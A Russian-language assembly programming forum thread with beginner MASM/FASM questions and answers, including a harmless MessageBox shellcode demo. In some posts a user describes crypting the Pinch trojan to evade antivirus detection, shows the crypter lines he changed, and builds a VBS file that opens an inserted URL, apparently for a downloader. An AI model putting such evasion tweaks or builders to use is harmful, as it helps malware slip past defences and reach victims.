_ExitProcess db 'ExitProcess',0
_MessageBoxA db 'MessageBoxA',0
_LoadLibraryA db 'LoadLibraryA',0
fName db 'ShellCode.bin',0
temp dd 0

.code
Main:
;подготавливающий код
;находим адрес ExitProcess
push offset _kernel32
call LoadLibraryA
push eax

push offset _ExitProcess
push eax
call GetProcAddress

mov __ExitProcess,eax

;находим адрес LoadLibraryA
pop eax
push offset _LoadLibraryA
push eax
call GetProcAddress

mov __LoadLibraryA,eax

;находим адрес MessageBoxA
push offset _user32
call LoadLibraryA

push offset _MessageBoxA
push eax
call GetProcAddress

mov __MessageBoxA,eax

;шелл-код готов. Можно копировать куда надо либо запускать.
;Размер шелл-кода - SizeOfShellcode. Начало в ShellCode.

;создаем пустой файл
xor eax,eax
push eax
push eax
push CREATE_ALWAYS
push eax
push eax
push GENERIC_WRITE
push offset fName
call CreateFileA
push eax

;копируем шелл-код в файл, в виде бинарного потока
push 0
push offset temp
push SizeOfShellcode ;размер шелл-кода
push offset ShellCode ;буфер - шелл-код
push eax
call WriteFile

;закрываем файл
;pop eax не требуется
call CloseHandle

;шелл-код
ShellCode:
call GetDelta

GetDelta:
pop ebp
sub ebp,offset GetDelta

;подгружаем user32.dll
lea eax,
push eax
call

;вызываем MessageBoxA
push 0
lea eax,
push eax
push eax
push 0
call

;ExitProcess
push 0
call

;данные шелл-кода
_user32 db 'user32.dll',0
__ExitProcess dd 0
__MessageBoxA dd 0
__LoadLibraryA dd 0
__Message db 'I am shellcode',0
SizeOfShellcode equ ($-offset ShellCode)
end Main

Вообще таких вариантов можно написать целую массу. Всё зависит от цели и требуемых размеров кода.

SEKTOR3A
09.11.2011, 15:16
да ладно ,покажи пример как ты запускаешь уже готовый бинарный код сплоита на асме ,а не на с
пример хотя бы.


заранее благодарю

Sams
09.11.2011, 16:30
Кто сказал, что я вообще имею отношению к сплойтам и когда-либо их использовал? о_О Речь идет о базонезависимости, а не об запуске готового кода для получения привилегий используя уязвимости.


это к чему?

Код в посте #1195 абсолютно работоспособен и проверен через отладчик, в чем ты можешь сам убедиться.

SEKTOR3A
10.11.2011, 13:34
какие тут могут быть секреты ,не ужели трудно объяснить ,если знаешь

хоть я и чайник в асме но в твоем коде я не нахожу того что ты создавая пустой файл для записи бинарного патока для будущего щелкода
тут я не нашел запись для
push offset _kernel32
push offset _ExitProcess
push offset _LoadLibraryA
push offset _user32
push offset _MessageBoxA


а твой код такой
;копируем шелл-код в файл, в виде бинарного потока
push 0
push offset temp
push SizeOfShellcode ;размер шелл-кода
push offset ShellCode ;буфер - шелл-код
push eax
call WriteFile


а если тут добавить к коду эти строки ,а уж потом call WriteFile call CloseHandle RET
push offset _kernel32
push offset _ExitProcess
push offset _LoadLibraryA
push offset _user32
push offset _MessageBoxA



мое мнение наверно бинарный поток копирует не весь опкод

а может я и не прав...
тут я сделал иначе вод код


.386
.model flat,stdcall
option casemap:none
.data
start:
push 0
push 0
jmp string
return:
pop ebx
push ebx; adress of text
mov eax,сюда адрес Messagebox
call eax; eax-adress_OF_Messagebox

push 0
mov eax,сюда адрес ExitProcess
string:
call return
db "my Shellcode"
end start

на скрине все показано

1
http://i5.pixs.ru/storage/7/3/1/NoNamebmp_7771600_3314731.jpg
2
http://i5.pixs.ru/storage/7/4/9/NoName2bmp_6599566_3314749.jpg
3
http://i5.pixs.ru/storage/7/8/7/NoName445b_1140933_3314787.jpg
4
http://i5.pixs.ru/storage/8/0/1/NoName4bmp_9903130_3314801.jpg
5
http://i5.pixs.ru/storage/8/1/1/NoName44bm_8095798_3314811.jpg
6
http://i2.pixs.ru/storage/8/2/1/NoName4457_1345734_3314821.jpg

http://i2.pixs.ru/storage/0/4/8/NoName3bmp_5718757_3315048.jpg
не судите строго я Новичок в асме.

DeepBlue7
16.11.2011, 19:08
Вопросик...

Как при помощи ассемблера можно найти симбол в стринге ?

Например...

004437A2 68 E8BF5200 PUSH 0052BFE8 ; ASCII "someevilstring"
//найти в стринге, допустим, симбол '.

awdrg
16.11.2011, 19:18
mov bx,offset string
l:
cmp bx,'$'
je exit
cmp bx,60h ;код кавычки
je smth
inc bx
jmp l

DooD
16.11.2011, 19:22
со строками работают индекс источника и приемника, так что пример не совсем верный.

Sams
16.11.2011, 21:16
ШТО? Строки - это обычный набор байт, с которым работают любые регистры, и код выше абсолютно верен, но не рационален, т.е. не оптимизирован. Регистры приемник и источник нужны для работы специальных команд, которые предназначены для работы с блоком байт (в него же и входят строки). В ассемблере вообще нету понятия "строки".




Если под найти подразумевается вычислить позицию символа внутри текста либо строки, то есть специальная команда scasx

mov al,'n'
mov edi,<адрес строки>
cld
repne scasb


В edi, после выполнения, адрес искомого символа.
Связка repne scasb меняет значение регистра ecx, декрементируется, и если он равняется нулю, то желаемый результат не будет достигнут. Потому можно перед выполнением записать в ecx число -1:

xor ecx,ecx
dec ecx


И в дополнение - флаг D задает направление поиска: если он опущен, то поиск производится с начала строки, если же поднят - с конца.

Что касается

вот конкретно под этот пример:

xor ecx,ecx
dec ecx
mov al,27h ; '
mov edi,0052BFE8h
cld
repne scasb


И вообще, нахуя я это написал, если всем требуется только тупо готовый код? Что-то я задумался. Замечтался.

DooD
16.11.2011, 21:51
правильнее проводить работу в esi edi, а не в регистрах общего назначения.

SEKTOR3A
17.11.2011, 00:48
вопрос по криптору ,есть исходник криптора на асме скачал с инета для изучения,
вопрос такой почему после крипта любого зверя антевирь арет примерно так ,если криптанул пинча то он его видет как пинча после крипта ,если криптанул индюка то после крипта индюк остается индюком то есть антевирь его видит как есть

название криптора -==-

DooD
17.11.2011, 00:56
это протектор вроде,мб ав умеет его распаковывать,по тому и орет.

Sams
17.11.2011, 20:40
мб АВ уже как с пару лет не просто распаковывает, а имеет собственную виртуальную машину, где эмулирует работу сканируемой программы, и евристически распознает не просто убогие крипторы, а еще и полиморфный код со всем возможными вариантами. Проводит анализ кода и выявляет логически не состыковывающийся мусорные команды на уровне опкодов. И еще куча других способов.

SEKTOR3A, о каком крипторе идет речь, если вы не знаете столь примитивной и вседоступной информации, которая лежит наверное даже на википедии? Сами же писали, что новичок в АСМ, а уже беретесь за крипт пинчей? Да вам как минимум пол года только формат исполняемых файлов учить для получения поверхностных знаний. Это тоже, что и в первом классе неопределенный интеграл считать. И не нужно говорить, что делает всё ради знаний, и давить на то, что новичок и хотите научиться. В теме в шелл-кодом всё стало видно. Если вы надеетесь протий быстро учебный курс по написанию криптов, как это делается в книгах по Делфи "Хелло ворлд", что бы рубать баксы за крипт пичней, то это просто лольство.
А в исходниках крипта yoda вы и 10 строк не разберете.

SEKTOR3A
18.11.2011, 02:35
Спасибо, но думаю полгода многовато как то

этих строк достаточно было изменить чтоб пинч заткнулся
; encrypt !
mov eax,pMem
mov ebx,0

call CryptPE
popad

Flisk
19.11.2011, 14:00
Подскажите по решению задачи из книги Кип Ирвин. Задача:"Напишите программу, которая бы генерировала и отображала последовательность случайных строк, каждая строка должна быть длиной не больше 10 символов, в диапазоне A-Z".

Мне тут все понятно, кроме одного - как задать диапазон? Я думал, сделать это с помощью скан-кодов клавиш, т.е. (псевдокод)
from (i=1eh;i<=2ch;i++)
write i;

Но не знаю, какая функция может вывести символ по его скан коду? стандартная функция из книги (writechar) выводит какую-то ерунду, если ей передать что-то типа 1eh.

Flisk
20.11.2011, 17:46
Подскажите пожалуйста по процедурам - когда надо делать уравнивание стека, вида

push ebp
mov ebp,esp
..тело процедуры
leave
ret 16 ,
a)Когда процедура имеет параметры, которые ей передаются;
б)Когда в ней есть локальные переменные;
в)это не обязательно.

Не могу разобраться уже целый день, для чего и когда делают это.

DooD
20.11.2011, 18:37
в разных ситуациях по разному.Если какие либо объекты в стеке тебе отслужили и больше не нужны-надо выровнять его.Выравнивать также следует например при вызове сишных функций.бывают разные аспекты короче говоря.

maked0n
02.12.2011, 20:02
Не знал куда писать, но решил все-таки сюда ибо пишу rc для проги на асм.
Проблема такая: не компилятся ресурсы. Вылетает с такой ошибкой:
undefined keyword or key name: DS_CENTER.
если убираю DS_CENTER, пишет что не найдет следующий идентификатор и тд.... не могу понять в чем проблема, так как я уже даже копировал код с туториалов iczelliona - то же самое(
вот собственно исходник ресурсов:

#define IDC_EDIT 3000
#define IDC_BUTTON 3001
#define IDC_EXIT 3002
#define IDM_GETTEXT 32000
#define IDM_CLEAR 32001
#define IDM_EXIT 32003
MyDialog DIALOG 10, 10, 205, 60
STYLE 0x0004|DS_CENTER|WS_CAPTION|WS_MINIMIZEBOX|WS_SYSMENU|WS_VISIBLE|WS_OVERLAPPED|DS_MODALFRAME|DS_3DLOOK
CAPTION "Out first Dialog Box"
CLASS "DLGCLASS"
{
EDITTEXT IDC_EDIT, 15, 17, 111, 13, ES_AUTOHSCROLL|ES_LEFT
DEFPUSHBUTTON "Say hello", IDC_BUTTON, 141, 10, 52, 13
PUSHBUTTON "Exit", IDC_EXIT, 141, 26, 52, 13, WS_GROUP
}
MyMenu MENU
{
POPUP "Test Controls"
{
MENUITEM "Get text", IDM_GETTEXT
MENUITEM "Clear text", IDM_CLEAR
MENUITEM "", 0x0800 /*MFT_SEPARATOR*/
MENUITEM "Exit", IDM_EXIT
}
}

becensed
03.12.2011, 00:38
#include "\masm32\include\resource.h"

wildshaman
09.12.2011, 17:29
Требуется написание небольшой программы на ассемблере (поиск числа вхождений символа в строке). Бюджет до 30$

Заполнить строку текстом ФАМИЛИЯ_ИМЯ_ОТЧЕСТВО_, длина строки должна выйти 2200 символов.
Найти число вхождений символа "о" в данную строку и занести его в регистр ax

Работать надо с "цепочечными командами"



Пример оформлеия программы (пример решения задачи на нахождение вхождения символа "а" в строку):
MASM
MODEL small
STACK 256
.data
fnd db 0ah,0dh,'‘Символ найден*! ','$'
nochar db 0ah,0dh,'‘Символ не найден.','$'
string db 'Поиск символа в этой строке.',0ah,0dh,'$'
.code
ASSUME ds:@data,es:@data
main:
mov ax,@data
mov ds,ax
mov es,ax
mov ah,09h
lea dx,string
int 21h
mov al,'а'
cld
lea di,string
mov cx,28
repne scas string
je found
failed:
mov ah,09h
lea dx,nochar
int 21h
jmp exit
found:
mov ah,09h
lea dx,fnd
int 21h
exit:
mov ax,4c00h
int 21h
end main

MTV
21.01.2012, 13:11
Вот непойму в чем трабла.Есть код:

invoke lstrcat,addr get,addr ID
invoke lstrcat,addr get,addr get1
invoke MessageBox,0,addr get,0,0

Мы спепляем с get переменную Id,дальше c get переменную get1 и получается какая то фигня.

DooD
21.01.2012, 13:18
у меня два варианта:
1)это не строки
2)буфер слишком мал.
но т.к. я не экстрасенс то опиши в чем проблема.

MTV
21.01.2012, 13:59
Все ясно.Разорался, дело в буфере.Спасибо.
Вот еще хотел спросить.написал я 2 функциии к примеру:

func1 proc
invoke MessageBox,0,0,0,0
func endp
func2 proc
invoke Sleep,1000
func2 endp
И после их вызова,я хочу вызвать любую функцию и не выходит.

call func1
call func2
invoke MessageBox,0,0,0,0

Программа завершается после 2 моих функций.

MTV
21.01.2012, 14:30
Вот так у меня:
.386
.model Flat, StdCall
option casemap:none
;######################################
include \masm32\include\kernel32.inc
include \masm32\include\windows.inc
includelib \masm32\lib\user32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
;######################################
.code
start:
call func1



func1 proc
invoke MessageBox,0,0,0,0
func1 endp
func2 proc
invoke Sleep,1000
func2 endp
invoke ExitProcess,0
end start
Пробовал вот так:

.386
.model Flat, StdCall
option casemap:none
;######################################
include \masm32\include\kernel32.inc
include \masm32\include\windows.inc
includelib \masm32\lib\user32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
;######################################
.code
start:
call func1


invoke ExitProcess,0
func1 proc
invoke MessageBox,0,0,0,0
func1 endp
func2 proc
invoke Sleep,1000
func2 endp
end start
Но в коцне ошибка...

DooD
21.01.2012, 14:37
вот так все работает.
call func1
call func2
invoke MessageBox,0,0,0,0
invoke ExitProcess,0
соотв. функции размещаются ПОСЛЕ exitprocess

MTV
21.01.2012, 14:46
.386
.model Flat, StdCall
option casemap:none
;######################################
include \masm32\include\kernel32.inc
include \masm32\include\windows.inc
includelib \masm32\lib\user32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
;######################################
.code
start:

call func1
call func2
invoke MessageBox,0,0,0,0
invoke ExitProcess,0

func1 proc
invoke MessageBox,0,0,0,0
func1 endp

func2 proc
invoke Sleep,1000
func2 endp

end start
После исполнения 2 моих функций вылетает ошибка:
http://s018.radikal.ru/i507/1201/05/260ad97878bc.jpg

DooD
21.01.2012, 14:50
не знаю,у меня все работает.дебаж тогда.

Flisk
25.01.2012, 00:05
Не могу изменить пароль пользователя. Функция возвращает какую-то ахинею error_io_pending , в мсдн в ее описании такого и близко нет. Как я понял, это значит, что функция еще не отработала свое, т.е. асинхронный ввод вывод? Или что?

Masm

MTV
27.01.2012, 10:41
Есть код:
.data
sendgb db 100 dup(?)
sends db 'send ',0
prob db ' ',0
upload db 'asdasdasd',0
.code
invoke lstrcat,addr sendftp,addr sends
invoke lstrcat,addr sendftp,addr upload
invoke lstrcat,addr sendftp,addr prob
invoke lstrcat,addr sendftp,addr upload
invoke CreateFile,addr kom,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov handle,eax
invoke WriteFile,handle,addr sendgb,sizeof sendgb,addr check,0
invoke CloseHandle,handle

В фаил записывается send asdasdasd asdasdasd и еще всякие нули...Как сделать что бы эти нули не записывались?И переменная upload всегда разная...

Kaimi
27.01.2012, 13:54
Передавать в WriteFile не размер буфера, а размер "печатаемой" информации в нем. То бишь делать lstrlen предварительно.

Киев
17.02.2012, 03:34
я вообще по 0 в асемблере , нужно вот это написать

y=10 если x>5 или x=c

y= 12 в других случаях

Юго
17.02.2012, 03:49
cmp x, 5
jbe ELSE
cmp x, c
jne ELSE
mov y, 10
jmp CONT
ELSE: mov y, 12
CONT: ...

totenkopf
17.02.2012, 09:31
2 Flisk:

Не все так просто.

Параметры NetUserChangePassword нужные Вам

1. NULL
2. имя пользователя
3. Старый пароль
4. Новый пароль

! Все параметры в UNICODE !

include netapi32.inc
includelib netapi32.lib

data
login dw "t","o","o","r",0
oldpass dw "r","o","o","t",0
newpass dw "f","u","c","k",0
.code
start:
invoke NetUserChangePassword,NULL,addr login,addr oldpass,addr newpass
.if eax!=NERR_Success
invoke MessageBoxW,0,addr newpass,0,MB_OK ;Ошибка!
.endif

Киев
20.02.2012, 01:35
а как *.asm превратить в шеллкод ?

Юго
20.02.2012, 02:17
компельнуть в bin файл =))

Sams
21.02.2012, 15:21
Юго,

Чётко. Внатуре чётко.
http://pikabu.ru/images/big_size_comm/2011-10_6/13197191501886.jpg

Киев,

Так же, как и исходники Windows в пачку сигарет.

*.asm - формат файла, содержащий исходный текст программы, написанной на языке ассемблера.
Шеллкод - специфически написанный код, обладающий чудным свойством - базонезависимостью.
Превращать тут надо не *.asm, а сам код. А ответит конкретно на такой вопрос сможет только тот человек, который может научить программировать на С++ за пару минут.

Шеллкод - http://forum.antichat.ru/showpost.php?p=2887126&postcount=1183
Генерация шеллкода в виде бинарного потока в файл http://forum.antichat.ru/showpost.php?p=2891318&postcount=1192
P.S. Masm32

BlackMiay
06.03.2012, 00:53
Объясните наконец, уже 6 часов бьюсь и не могу понять.
Вот статья , про динамические библиатеки.
Там есть процедура именно в dll

TestHello proc
invoke MessageBox,NULL,addr HelloMsg,addr AppName,MB_OK ret
TestHello endp

Так вот как мне туда передать целочисленный массив и выполнить над ним какие-небудь действия и вернуть обратно. И ещё я использую invoke LoadLibrary в основном приложении. Очень нуждаюсь в вашей помощи.
Кстати вот ссылка на пример .

GRRRL Power
06.03.2012, 08:48
Почитай доки по синтаксису MASM. Там всё написано, и не придется 6 часов сидеть.

Передаются аргументы так:

TestHello proc arg1 :DWORD, arg2 :DWORD, arg3 :DWORD

TestHello endp

где arg1, arg2, arg3 - твои аргументы. Так как MASM32 - малотипизированный язык, в них можно совать и числа, и указатель на начало твоего целочисленного массива, и указатель на строку.

Возвращать аргумент из функции можешь как угодно - например, в любом регистре (тогда ты сможешь вернуть 4 байта (DWORD)), либо вообще записывать возвращаемые данные по некоторому адресу, который передан функции. Прочитай про конвенции вызовов, и увидишь, каким условиям должны удовлетворять функции stdcall (такое соглашение используют практически все функции WinAPI). В stdcall значение возвращается через регистр eax.

BlackMiay
06.03.2012, 11:50
Спасибо, немного продвинулся, но всё же, есть вопросы.
Я отправляю в функцию размер масива и его самого

...
push len
push m
call EAX
...


Но ведь stdcall функция может возврашать только eax... Ступор :(

Как мне передать мои данные это в функцию, изменить их, а затем вернуть обратно?


Sum proc ;buf:DWORD
push EBP
mov EBP, ESP
mov EСX, ; здесь лежит мой размер (len)
mov ebx, ; здесь первый элемент массива (m)
mov EAX,1 ; Это походу что вернёт моя функция...
pop EBP
ret
Sum endp


Пожалуйсто помогите разобраться, я из гугла уже n времени не вылезаю...

Ещё вопрос могу ли я из динамической функции работать с регистром из своей программы, к примеру

...
mov esi, OFFSET m
...

Будет ли доступна для функции из библиотеки?

GRRRL Power
06.03.2012, 15:14
Ты можешь менять тот же самый массив, который передал в функцию. Ты можешь передать таким же образом второй массив, предварительно создав его в вызывающей функцию программе, а из дллки в него писать данные. Ты даже можешь создать в дллке массив (динамически выделить память), в него записать нужные данные, а адрес массива вернуть через eax, хотя это не очень хороший тон. Посмотри на любую winapi-функцию, возвращающую, скажем, строку, например, GetUserName. Они все принимают указатель на массив, который ты выделяешь в своей программе, и пишут в него данные.

Динамическая библиотека, подгруженная в адресное пространство твоего процесса - это часть процесса, она может делать все, что угодно, в том числе, менять регистры вызывающей программы. Но если ты хочешь сделать так, чтобы твою дллку могли использовать все программы, создавай в ней функции с использованием какой-либо конвенции вызовов. Если это stdcall, то значение возвращай в eax, принимай значения через стек, и сохраняй значения регистров edi, esi и ebx (push edi, push esi, push ebx в начале кода функции и pop ebx, pop esi, pop edi в конце. Можно еще директиву uses масма32 использовать).

BlackMiay
06.03.2012, 16:40
Да я понимаю, что это возможно, от части задачу я решил записав в стек размер массива и записав всё значение массива в регистр, перед вызовом функции

...
push len
mov esi, OFFSET m
call EAX
...


Т.е хотелось бы увидеть пример, как сделать так
1. Записываем в стек адрес массива
2. Получаем в dll этот адрес и начинаем, допустим увеличивать значения массива на 1, при этом я так понимаю, мы должны взять к примеру этот же регистр, загнав его в стек?!
3. Как через еах вернуть адрес уже изменённого масива?!
4. Получается что мою написаную dll не могут исползувать сразу несолько приложений, так для них всех регистр esi будет обшим? (Это наверное для вас самый нубский вопрос...)

Я не могу найти ни одного примера в интернете с аргументами в процедуре dll и вообще как потом вернуть значение в EAX???
И как потом написать код допустим в Delphi для вызова данной функции, там же я не определяю в какой регистр я пишу?

Пожалуйсто приведите пример. Очень прошу.
Кстати вот моей функции в dll

...
Sum proc
push EBP
mov EBP, ESP
mov ecx, ; Считываем из стека размер массива.
mov edx,ecx
dec ecx
for_i:
push ecx
neg ecx
add ecx, edx
for_j:
mov eax,
mov ebx,
cmp ebx, eax
jg skip
mov , ebx
mov , eax
skip:
loop for_j
pop ecx
loop for_i
pop EBP
ret 4
Sum endp
...

GRRRL Power
06.03.2012, 19:25
Сейчас глупые вопросы пошли. Советую почитать, что такое вообще регистры, стек, куча и т.п. базовые вещи. Если мы передали в функцию (неважно, где эта функция, в dll, не в dll) АДРЕС массива и работаем с этим адресом изнутри функции, то мы работаем с тем самым массивом, который лежит где-то в памяти программы, которая вызвала функцию. Массив при этом НЕ дублируется, т.к. мы передали указатель на его начало. Адрес.

Если мы не хотим, чтобы наш изначальный массив менялся, то делаем, например, так. Передаем два адреса в функцию: первый адрес - адрес массива с исходными данными, второй адрес - адрес массива с неопределенными данными, в который функция будет писать результат. Функция в цикле берет каждый элемент первого массива, делает с ним какие-то операции, а результат записывает во второй массив. На выходе у нас получается неизмененный исходный массив и заполненный нужными нам значениями второй.

Пример не буду приводить, тут и так все очевидно.


Соответственно, этот вопрос отпадает.


Смогут, у каждого процесса свое адресное пространство, свои значения регистров, свой стек и своя куча. Ну только если ты принудительно не сделаешь некоторую секцию исполняемого файла shared.

BlackMiay
09.03.2012, 21:58
И так вот кусок кода, приложения.

...

incMass :DWORD, :DWORD

mas DD 100 DUP(?)
ln DD 0
...
Здесь код заполнения массива
...
INVOKE incMass,mas,ln ; вызов функции из dll
...


Собсвенно вот кусок dll кода, в кором я не пойму некорое вещи
1. Как передать этот массив в код, переписать его эл-ты на 1, и вернуть обратно???


...
incMass PROC m:DWORD, l:DWORD
mov ecx,l
lea esi,m
mov ebx,1
start:
mov ,ebx
add esi,4
loop start
ret
incMass endp
...


Эта процедура из dll у меня не работатет, и никак не могу найти информацию с подобным примером. Поправте пожалуйсто, если не трудно эту процедуру...

И ещё как я понял если использовать CALL то аргументы передаються только через СТЕК???
Почему в длл кампилятор рунаеться на OFFSET?

DooD
09.03.2012, 22:33
что именно не работает?дебаггером пройдись.через стек если передавать то вызов колл-ом.если укажешь прототип то можно и через инвок вызывать.

LASS0
10.03.2012, 20:54
Помогите пожалуйста дописать программу, сейчас она только считывает и выводит каждый элемент массива.
Нужно обнулить все элементы массива, которые по модулю меньше 10


include 'win32ax.inc'

.data

array db 5,34,9,98,-3 ; массив
array_len db $-array

Caption db 'Результат.',0

buffer rb 20


.code


start:

xor eax,eax
xor ecx, ecx

mov cl,

mov edi, buffer
mov esi, array

m:

xor eax,eax
mov al, ; помещаем элемент массива в регистр al
;
; здесь надо заменить al нулем, если он по модулю меньше 10
;
call IntToStr ; Выводим элемент массива

inc esi
inc edi

loop m

mov , byte 0






invoke MessageBox,0,buffer,Caption,MB_OK
invoke ExitProcess,0

IntToStr:
;eax = number, ebx = base(основание системы счисления=10), edi = buffer(буфер для хранения строки ;результата)
push eax ecx ebx edx
xor ecx,ecx
mov ebx, 10

.new:
xor edx,edx
div ebx
push edx
inc ecx
test eax,eax
jnz .new
.loop:
pop eax
add al,30h
mov , al
inc edi
loop .loop
mov al, byte ' '
mov ,al
pop edx ebx ecx eax
ret
.end start

Kaimi
10.03.2012, 21:50
test al,al
jns skip
neg al
skip:

cmp al,10
ja skip2
mov al,0
skip2:

DeepBlue7
11.03.2012, 20:52
Возник вот такой вопросег о так называемых "регистрах процессора".

Суть вопроса - регистры одни, или их несколько ? Т.е. при запуске двух приложений, соответственно есть два "блока" регистров. Допустим, в одном преложении eax = 5, а во втором - 10. Вообщем, обьясните, "сколько" их.

Надеюсь, смысл ясен :)
Заранее благодарю.

GRRRL Power
11.03.2012, 21:30
Регистры в процессоре одни. Один eax, один esi и т.д. На каждое ядро по одному. Операционная система занимается тем, что переключает контексты процессов и потоков, сохраняя состояние регистров процесса, который она приостанавливает, и восстанавливая регистры для того, который она запускает на выполнение.

DeepBlue7
12.03.2012, 00:10
Большое спасибо, прояснил. Подозревал, что это так, просто это стоило бы писать в обучалках ).

Кстати, получается, отладчики в некотором смысле берут на себя то, что должна делать ось ?

GRRRL Power
12.03.2012, 18:43
Отладчики могут контролировать состояние памяти и регистров какого-либо процесса, переключением контекстов они не занимаются.

altblitz
12.03.2012, 19:27
исключено.
делаешь "Step by step" кода в отладчике - и видишь, как меняется содержание регистров.

отладчики - не хирурги, а судебно-медицинские эксперты.
фиксируют лишь изменения в памяти и регистрах, которые ты сам внёс, своим кодом.

SEKTOR3A
16.03.2012, 21:58
вопрос как после создание файла
invoke CreateFile,addr file,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0

записать с поле EDIT в файл file

в моем случае поле вода пароля выглядит так

dialogitem 'EDIT','',ID_PASS,55,11,110,12,WS_CHILD+WS_VISIBLE+ES_CENTER+WS_BORDER+ES_PASSWORD

хоть не большой пример скиньте должен ли я еще использовать функцию записи
invoke WriteFile

DooD
16.03.2012, 22:30
юзаешь GetWindowText в связке с WriteFile.

SEKTOR3A
17.03.2012, 11:57
создается файл но туда не чего не записывается

вот пример
IF ax == BN_CLICKED
invoke MessageBox,hWnd,addr TextButton1,0,MB_ICONINFORMATION
invoke CreateFile,addr fname,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
invoke GetWindowText, Edit1ID,ADDR buf,512
invoke WriteFile,fname,TextEdit1,Edit1ID,addr buf,512

DooD
17.03.2012, 12:16
смори
invoke GetWindowText,hwndEdit,addr buffer,512
invoke GetWindowTextLength,hwndEdit
получили длину текста.
получили текст,ок.
invoke WriteFile,hFile,addr buffer,eax,addr htemp,0записали.

Kaimi
17.03.2012, 12:37
Переделай под себя...

.486
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc
include \masm32\include\dialogs.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm

uselib kernel32, masm32, user32

IDC_EDIT equ 1001

DlgProc proto :dword, :dword, :dword, :dword

.data?
hInstance dd ?

.code
start:
mov hInstance, FUNC(GetModuleHandle, NULL)
call main
invoke ExitProcess, eax

main proc

Dialog "Test", "Calibri", 10, \
WS_OVERLAPPED or WS_SYSMENU or DS_CENTER, \
2, \
50, 50, 150, 80, \
1024

DlgButton "&OK", WS_TABSTOP, 48, 40, 50, 15, IDOK
DlgEdit WS_BORDER or ES_WANTRETURN, 3, 20, 140, 9, IDC_EDIT

CallModalDialog hInstance, 0, DlgProc, NULL

ret

main endp

DlgProc proc hWin:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
local fh : dword
local buffer : byte
local count : dword

.if uMsg == WM_COMMAND
.if wParam == IDOK

mov fh, FUNC(CreateFile, chr$("file.txt"), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)

.if fh != INVALID_HANDLE_VALUE
mov count, FUNC(GetDlgItemText, hWin, IDC_EDIT, addr buffer, 512)
invoke WriteFile, fh, addr buffer, count, addr count, NULL
invoke CloseHandle, fh
.endif

.endif
.elseif uMsg == WM_CLOSE
invoke EndDialog, hWin, 0
.endif

xor eax, eax
ret

DlgProc endp

end start

NetAng
17.03.2012, 20:47
Как сделать динамическую библиотеку в Linux на Fasme, которая считывает заданное количество байт с файла? аналог функции fread из stdio.h?

SEKTOR3A
18.03.2012, 11:02
Спасибо DooD и Kaimi ,разобрался

нужно было не записывать в буфер а передавать строку с окна в TextEdit

кому если пригодится

это часть кода которая при нажатии на кнопку
создает файл и когда водишь в поле свою строчку в TextEdit

он записывает в наш нами созданный файл все то что мы вводим
.IF ax == BN_CLICKED
invoke MessageBox,hWnd,addr TextButton1,0,MB_ICONINFORMATION
invoke CreateFile,addr file,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0

mov handle,eax

invoke GetWindowText,hwndEdit1,addr TextEdit1,512

invoke WriteFile,handle, addr TextEdit1,eax,addr buf,0


invoke CloseHandle, handle

еще вопрос как сделать запись между строками

например у меня в масивах при нажатии на кнопку создается файл на vbs скрипте естественно билдер на асме и туда нужно записать урл адрес
между скобками в сам vbs скрипт

пример такой
WshShell.Run "http://тест.ру", 1

то есть я вожу в билдере урл адрес создается файл и урл адрес должен записаться именно тут WshShell.Run "http://тест.ру", 1

где выделено красным ,
маленький пример достаточно будет мне разобраться если поможете ,Спасибо.

MTV
18.03.2012, 11:09
invoke lstrcat,addr str1,addr str2
На выходе в str1 будет сцепленная строка с str1 и str2.

Flisk
19.03.2012, 22:56
Снова решил изучать асм, и снова не работает простейший пример. Это не язык, а какое-то проклятье. Подскажите, что я снова сделал не так? Смысл - инверсия строки, т.е. копировать первую строку во вторую в обратном порядке

.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,user32

.data
source byte "some string 12345 go",0
target byte sizeof source dup(0)

.code
start:

xor edi,edi
mov ecx,sizeof source
mov esi,ecx

rev:
mov dl,source
mov target,dl
inc edi
dec esi
loop rev

invoke MessageBox,0,addr target,addr source,0

ret
end start

Олли показывает, что строка копируется, но вывести ее не удается. :mad: Почему?

DooD
19.03.2012, 23:48
:D:D:D проклятье ыы:)
на вот кодес
.386
.model flat,stdcall
option casemap:none

include include\windows.inc
include include\kernel32.inc
include include\user32.inc

includelib lib\kernel32.lib
includelib lib\user32.lib

.data
source db "some string 12345 go",0
target db sizeof source dup(?)

.code
start:
xor esi,esi
mov edi,sizeof source-10b
mov ecx,sizeof source

rev:
mov dl,source
mov target,dl
inc esi
dec edi
loop rev

invoke MessageBox,0,addr target,addr source,0

invoke ExitProcess,0
end start

Flisk
19.03.2012, 23:57
DooD, да смех смехом, но еще ни одну прогу (даже самую простую) не написал без помощи со стороны. :( . И так уже больше года.

Спасибо большое за помощь, единственное - почему минус 2 символа?

Первый - это вероятно, нуллбайт, а второй что?

DooD
20.03.2012, 01:00
#13,#10 если проще объяснить.Перевод строки.А для того что бы понять всю хардкорность асма
https://forum.antichat.ru/thread320055.html
а вообще под венды асм не столь труден,попиши под дос,вот тогда поймешь.

MTV
26.03.2012, 14:12
Народ, вот я в цикле постоянно записываю в переменную какие либо строки.И получается так,что если я записываю 2 строчки в переменную в первый раз и делаю так:mov string,0То записывая, во второй раз 2 строка остается....Как обнулить переменную или я что то не так делаю?

DooD
26.03.2012, 15:32
полностью код кинь.